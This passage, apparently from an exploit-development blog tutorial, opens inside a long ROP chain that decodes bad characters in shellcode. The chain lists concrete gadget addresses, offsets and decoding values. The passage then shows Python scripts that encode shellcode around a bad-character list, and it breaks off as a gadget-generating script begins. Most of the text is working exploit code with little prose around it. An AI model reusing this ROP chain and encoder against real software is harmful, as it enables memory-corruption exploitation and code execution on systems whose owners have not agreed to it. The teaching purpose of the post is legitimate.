</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5053a0f5</span><span class="p">)</span> <span class="c1"># pop eax ; ret  ;
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x05050505</span><span class="p">)</span> <span class="c1"># decoding value
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5050626e</span><span class="p">)</span> <span class="c1"># add byte [esi+0x3B], ah ; ret  ; decode the bad character
</span>    


<span class="c1"># Decode bad char at index 83
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5050118e</span><span class="p">)</span> <span class="c1"># mov eax, esi ; pop esi ; ret  ;
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">)</span> <span class="c1"># dummy value for pop esi
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5052db24</span><span class="p">)</span> <span class="c1"># pop ecx ; ret  ;
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0xffffffe9</span><span class="p">)</span> <span class="c1"># offset to bad char at index 83
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5051579a</span><span class="p">)</span> <span class="c1"># add eax, ecx ; ret  ; Make eax point to the badchar to decode
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x505263f9</span><span class="p">)</span> <span class="c1"># push eax ; pop esi ; pop ebx ; ret  ; get back the pointer to ESI
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">)</span> <span class="c1"># dummy value for pop ebx
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5053a0f5</span><span class="p">)</span> <span class="c1"># pop eax ; ret  ;
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x05050505</span><span class="p">)</span> <span class="c1"># decoding value
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5050626e</span><span class="p">)</span> <span class="c1"># add byte [esi+0x3B], ah ; ret  ; decode the bad character
</span>    


<span class="c1"># Decode bad char at index 64
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5050118e</span><span class="p">)</span> <span class="c1"># mov eax, esi ; pop esi ; ret  ;
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">)</span> <span class="c1"># dummy value for pop esi
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5052db24</span><span class="p">)</span> <span class="c1"># pop ecx ; ret  ;
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0xffffffed</span><span class="p">)</span> <span class="c1"># offset to bad char at index 64
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5051579a</span><span class="p">)</span> <span class="c1"># add eax, ecx ; ret  ; Make eax point to the badchar to decode
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x505263f9</span><span class="p">)</span> <span class="c1"># push eax ; pop esi ; pop ebx ; ret  ; get back the pointer to ESI
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">)</span> <span class="c1"># dummy value for pop ebx
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5053a0f5</span><span class="p">)</span> <span class="c1"># pop eax ; ret  ;
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x05050505</span><span class="p">)</span> <span class="c1"># decoding value
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5050626e</span><span class="p">)</span> <span class="c1"># add byte [esi+0x3B], ah ; ret  ; decode the bad character
</span>    


<span class="c1"># Decode bad char at index 40
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5050118e</span><span class="p">)</span> <span class="c1"># mov eax, esi ; pop esi ; ret  ;
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">)</span> <span class="c1"># dummy value for pop esi
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5052db24</span><span class="p">)</span> <span class="c1"># pop ecx ; ret  ;
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0xffffffe8</span><span class="p">)</span> <span class="c1"># offset to bad char at index 40
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5051579a</span><span class="p">)</span> <span class="c1"># add eax, ecx ; ret  ; Make eax point to the badchar to decode
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x505263f9</span><span class="p">)</span> <span class="c1"># push eax ; pop esi ; pop ebx ; ret  ; get back the pointer to ESI
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">)</span> <span class="c1"># dummy value for pop ebx
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5053a0f5</span><span class="p">)</span> <span class="c1"># pop eax ; ret  ;
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x05050505</span><span class="p">)</span> <span class="c1"># decoding value
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5050626e</span><span class="p">)</span> <span class="c1"># add byte [esi+0x3B], ah ; ret  ; decode the bad character
</span>    


<span class="c1"># Decode bad char at index 37
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5050118e</span><span class="p">)</span> <span class="c1"># mov eax, esi ; pop esi ; ret  ;
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">)</span> <span class="c1"># dummy value for pop esi
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5052db24</span><span class="p">)</span> <span class="c1"># pop ecx ; ret  ;
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0xfffffffd</span><span class="p">)</span> <span class="c1"># offset to bad char at index 37
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5051579a</span><span class="p">)</span> <span class="c1"># add eax, ecx ; ret  ; Make eax point to the badchar to decode
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x505263f9</span><span class="p">)</span> <span class="c1"># push eax ; pop esi ; pop ebx ; ret  ; get back the pointer to ESI
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">)</span> <span class="c1"># dummy value for pop ebx
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5053a0f5</span><span class="p">)</span> <span class="c1"># pop eax ; ret  ;
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x05050505</span><span class="p">)</span> <span class="c1"># decoding value
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5050626e</span><span class="p">)</span> <span class="c1"># add byte [esi+0x3B], ah ; ret  ; decode the bad character
</span>    


<span class="c1"># Decode bad char at index 18
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5050118e</span><span class="p">)</span> <span class="c1"># mov eax, esi ; pop esi ; ret  ;
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">)</span> <span class="c1"># dummy value for pop esi
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5052db24</span><span class="p">)</span> <span class="c1"># pop ecx ; ret  ;
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0xffffffed</span><span class="p">)</span> <span class="c1"># offset to bad char at index 18
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5051579a</span><span class="p">)</span> <span class="c1"># add eax, ecx ; ret  ; Make eax point to the badchar to decode
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x505263f9</span><span class="p">)</span> <span class="c1"># push eax ; pop esi ; pop ebx ; ret  ; get back the pointer to ESI
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">)</span> <span class="c1"># dummy value for pop ebx
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5053a0f5</span><span class="p">)</span> <span class="c1"># pop eax ; ret  ;
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x05050505</span><span class="p">)</span> <span class="c1"># decoding value
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5050626e</span><span class="p">)</span> <span class="c1"># add byte [esi+0x3B], ah ; ret  ; decode the bad character
</span>    


<span class="c1"># Decode bad char at index 6
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5050118e</span><span class="p">)</span> <span class="c1"># mov eax, esi ; pop esi ; ret  ;
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">)</span> <span class="c1"># dummy value for pop esi
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5052db24</span><span class="p">)</span> <span class="c1"># pop ecx ; ret  ;
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0xfffffff4</span><span class="p">)</span> <span class="c1"># offset to bad char at index 6
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5051579a</span><span class="p">)</span> <span class="c1"># add eax, ecx ; ret  ; Make eax point to the badchar to decode
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x505263f9</span><span class="p">)</span> <span class="c1"># push eax ; pop esi ; pop ebx ; ret  ; get back the pointer to ESI
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">)</span> <span class="c1"># dummy value for pop ebx
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5053a0f5</span><span class="p">)</span> <span class="c1"># pop eax ; ret  ;
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x05050505</span><span class="p">)</span> <span class="c1"># decoding value
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5050626e</span><span class="p">)</span> <span class="c1"># add byte [esi+0x3B], ah ; ret  ; decode the bad character
</span>    


<span class="c1"># Decode bad char at index 5
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5050118e</span><span class="p">)</span> <span class="c1"># mov eax, esi ; pop esi ; ret  ;
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">)</span> <span class="c1"># dummy value for pop esi
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5052db24</span><span class="p">)</span> <span class="c1"># pop ecx ; ret  ;
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0xffffffff</span><span class="p">)</span> <span class="c1"># offset to bad char at index 5
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5051579a</span><span class="p">)</span> <span class="c1"># add eax, ecx ; ret  ; Make eax point to the badchar to decode
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x505263f9</span><span class="p">)</span> <span class="c1"># push eax ; pop esi ; pop ebx ; ret  ; get back the pointer to ESI
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">)</span> <span class="c1"># dummy value for pop ebx
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5053a0f5</span><span class="p">)</span> <span class="c1"># pop eax ; ret  ;
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x05050505</span><span class="p">)</span> <span class="c1"># decoding value
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5050626e</span><span class="p">)</span> <span class="c1"># add byte [esi+0x3B], ah ; ret  ; decode the bad character
</span>    


<span class="c1"># Decode bad char at index 4
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5050118e</span><span class="p">)</span> <span class="c1"># mov eax, esi ; pop esi ; ret  ;
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">)</span> <span class="c1"># dummy value for pop esi
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5052db24</span><span class="p">)</span> <span class="c1"># pop ecx ; ret  ;
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0xffffffff</span><span class="p">)</span> <span class="c1"># offset to bad char at index 4
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5051579a</span><span class="p">)</span> <span class="c1"># add eax, ecx ; ret  ; Make eax point to the badchar to decode
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x505263f9</span><span class="p">)</span> <span class="c1"># push eax ; pop esi ; pop ebx ; ret  ; get back the pointer to ESI
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">)</span> <span class="c1"># dummy value for pop ebx
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5053a0f5</span><span class="p">)</span> <span class="c1"># pop eax ; ret  ;
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x05050505</span><span class="p">)</span> <span class="c1"># decoding value
</span><span class="n">ROPDecoder</span> <span class="o">+=</span> <span class="n">pack</span><span class="p">(</span><span class="s">"&lt;L"</span><span class="p">,</span> <span class="mh">0x5050626e</span><span class="p">)</span> <span class="c1"># add byte [esi+0x3B], ah ; ret  ; decode the bad character
</span></code></pre></div></div>
<h1 id="automate-the-process">Automate The Process</h1>

<p>We can say that we understood it manually very well, Now we can move to automate all this process in 2 different ways.</p>

<h2 id="the-basic-way">The Basic Way</h2>

<p>The first way is the basic way, Which will just help us in identifying the index for each bad char and encode it for us, And give us the encoded shellcode.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">encode_shellcode</span><span class="p">(</span><span class="n">shellcode</span><span class="p">,</span> <span class="n">badchars</span><span class="p">,</span> <span class="n">encode_value</span><span class="p">):</span>
    <span class="n">shellcode_bytes</span> <span class="o">=</span> <span class="n">shellcode</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">"</span><span class="se">\\</span><span class="s">x"</span><span class="p">)</span>

    <span class="n">encoded_shellcode</span> <span class="o">=</span> <span class="p">[]</span>
    <span class="n">index</span> <span class="o">=</span> <span class="mi">0</span>
    <span class="k">for</span> <span class="n">byte</span> <span class="ow">in</span> <span class="n">shellcode_bytes</span><span class="p">:</span>
        <span class="k">if</span> <span class="n">byte</span><span class="p">:</span>
            <span class="k">if</span> <span class="n">byte</span> <span class="ow">in</span> <span class="n">badchars</span><span class="p">:</span>
                <span class="n">encoded_int</span> <span class="o">=</span> <span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">byte</span><span class="p">,</span> <span class="mi">16</span><span class="p">)</span> <span class="o">+</span> <span class="n">encode_value</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFF</span>
                <span class="n">encoded_hex</span> <span class="o">=</span> <span class="nb">hex</span><span class="p">(</span><span class="n">encoded_int</span><span class="p">)[</span><span class="mi">2</span><span class="p">:]</span>
                <span class="n">encoded_hex</span> <span class="o">=</span> <span class="n">encoded_hex</span><span class="p">.</span><span class="n">zfill</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span>
                <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[!] Bad char </span><span class="se">\\</span><span class="s">x</span><span class="si">{</span><span class="n">byte</span><span class="si">}</span><span class="s"> at index </span><span class="si">{</span><span class="n">index</span><span class="si">}</span><span class="s"> Encoded to 0x</span><span class="si">{</span><span class="n">encoded_hex</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
                <span class="n">encoded_shellcode</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="sa">f</span><span class="s">"</span><span class="se">\\</span><span class="s">x</span><span class="si">{</span><span class="n">encoded_hex</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
            <span class="k">else</span><span class="p">:</span>
                <span class="n">encoded_shellcode</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="sa">f</span><span class="s">"</span><span class="se">\\</span><span class="s">x</span><span class="si">{</span><span class="n">byte</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
        <span class="n">index</span> <span class="o">+=</span> <span class="mi">1</span>

    <span class="n">encoded_shellcode_str</span> <span class="o">=</span> <span class="s">''</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">encoded_shellcode</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"[+] Encoded Shellcode: shellcode = b</span><span class="se">\"</span><span class="s">"</span><span class="o">+</span><span class="n">encoded_shellcode_str</span><span class="o">+</span><span class="s">"</span><span class="se">\"</span><span class="s">"</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">encoded_shellcode_str</span>

<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">"shellcode.txt"</span><span class="p">,</span> <span class="s">"r"</span><span class="p">)</span> <span class="k">as</span> <span class="nb">file</span><span class="p">:</span>
    <span class="n">my_shellcode</span> <span class="o">=</span> <span class="nb">file</span><span class="p">.</span><span class="n">read</span><span class="p">()</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"[+] Shellcode:"</span><span class="p">,</span> <span class="n">my_shellcode</span><span class="p">)</span>

<span class="n">badchars</span><span class="o">=</span> <span class="p">[</span><span class="s">"00"</span><span class="p">,</span> <span class="s">"09"</span><span class="p">,</span> <span class="s">"0a"</span><span class="p">,</span> <span class="s">"0b"</span><span class="p">,</span> <span class="s">"0c"</span><span class="p">,</span> <span class="s">"0d"</span><span class="p">,</span> <span class="s">"20"</span><span class="p">]</span>
<span class="n">encoded_shellcode</span> <span class="o">=</span> <span class="n">encode_shellcode</span><span class="p">(</span><span class="n">my_shellcode</span><span class="p">,</span> <span class="n">badchars</span><span class="p">,</span> <span class="mh">0xfb</span><span class="p">)</span>
</code></pre></div></div>

<p>Here I created a function that takes 3 arguments, <code class="language-plaintext highlighter-rouge">shellcode</code> which is the file that has our shellcode, <code class="language-plaintext highlighter-rouge">badchars</code> which is array contains all the badchars, <code class="language-plaintext highlighter-rouge">encode_value</code> the value we wish to use for our encoding process. The function will take the shellcode and split it with <code class="language-plaintext highlighter-rouge">\x</code> which will put each byte in array, Then going through each element of the array, While checking if the element (<code class="language-plaintext highlighter-rouge">byte</code>) is in the <code class="language-plaintext highlighter-rouge">badchars</code> array, It will take the <code class="language-plaintext highlighter-rouge">encoded_byte</code> and perform the same operation we did before in encoding value manually, Then it will get the result and use it as encoding char instead of the bad one. At the same time, It will tell us the index of the badchar and repeat the process until it give us the new <code class="language-plaintext highlighter-rouge">encoded_shellcode</code>:</p>

<p><img src="https://github.com/Zeyad-Azima/Zeyad-Azima.github.io/assets/62406753/5934ff21-664d-41aa-ac25-5efb737796d2" alt="image" /></p>

<p>Now, We can repeat the same process from the manual way.</p>

<h2 id="the-advanced-way">The Advanced Way</h2>

<p>Now, In this way we will automate mostly 90% of everything. We will start by using the ssame encoding function in the basic way, Then we will add a function to create the gadget for us automatically:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">struct</span> <span class="kn">import</span> <span class="n">pack</span>
<span class="k">def</span> <span class="nf">encode_shellcode</span><span class="p">(</span><span class="n">shellcode</span><span class="p">,</span> <span class="n">badchars</span><span class="p">,</span> <span class="n">encode_value</span><span class="p">):</span>
    <span class="n">shellcode_bytes</span> <span class="o">=</span> <span class="n">shellcode</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">"</span><span class="se">\\</span><span class="s">x"</span><span class="p">)</span>

    <span class="n">bad_index</span> <span class="o">=</span> <span class="p">[]</span>
    <span class="n">encoded_shellcode</span> <span class="o">=</span> <span class="p">[]</span>
    <span class="n">index</span> <span class="o">=</span> <span class="mi">0</span>
    <span class="k">for</span> <span class="n">byte</span> <span class="ow">in</span> <span class="n">shellcode_bytes</span><span class="p">:</span>
        <span class="k">if</span> <span class="n">byte</span><span class="p">:</span>
            <span class="k">if</span> <span class="n">byte</span> <span class="ow">in</span> <span class="n">badchars</span><span class="p">:</span>
                <span class="n">encoded_int</span> <span class="o">=</span> <span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">byte</span><span class="p">,</span> <span class="mi">16</span><span class="p">)</span> <span class="o">+</span> <span class="n">encode_value</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFF</span>
                <span class="n">encoded_hex</span> <span class="o">=</span> <span class="nb">hex</span><span class="p">(</span><span class="n">encoded_int</span><span class="p">)[</span><span class="mi">2</span><span class="p">:]</span>
                <span class="n">encoded_hex</span> <span class="o">=</span> <span class="n">encoded_hex</span><span class="p">.</span><span class="n">zfill</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span>
                <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[!] Bad char </span><span class="se">\\</span><span class="s">x</span><span class="si">{</span><span class="n">byte</span><span class="si">}</span><span class="s"> at index </span><span class="si">{</span><span class="n">index</span><span class="si">}</span><span class="s"> Encoded to 0x</span><span class="si">{</span><span class="n">encoded_hex</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
                <span class="n">encoded_shellcode</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="sa">f</span><span class="s">"</span><span class="se">\\</span><span class="s">x</span><span class="si">{</span><span class="n">encoded_hex</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
                <span class="n">bad_index</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">index</span><span class="p">)</span>
            <span class="k">else</span><span class="p">:</span>
                <span class="n">encoded_shellcode</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="sa">f</span><span class="s">"</span><span class="se">\\</span><span class="s">x</span><span class="si">{</span><span class="n">byte</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
        <span class="n">index</span> <span class="o">+=</span> <span class="mi">1</span>

    <span class="n">encoded_shellcode_str</span> <span class="o">=</span> <span class="s">''</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">encoded_shellcode</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"[+] Encoded Shellcode: shellcode = b</span><span class="se">\"</span><span class="s">"</span><span class="o">+</span><span class="n">encoded_shellcode_str</span><span class="o">+</span><span class="s">"</span><span class="se">\"</span><span class="s">"</span><span class="p">)</span>
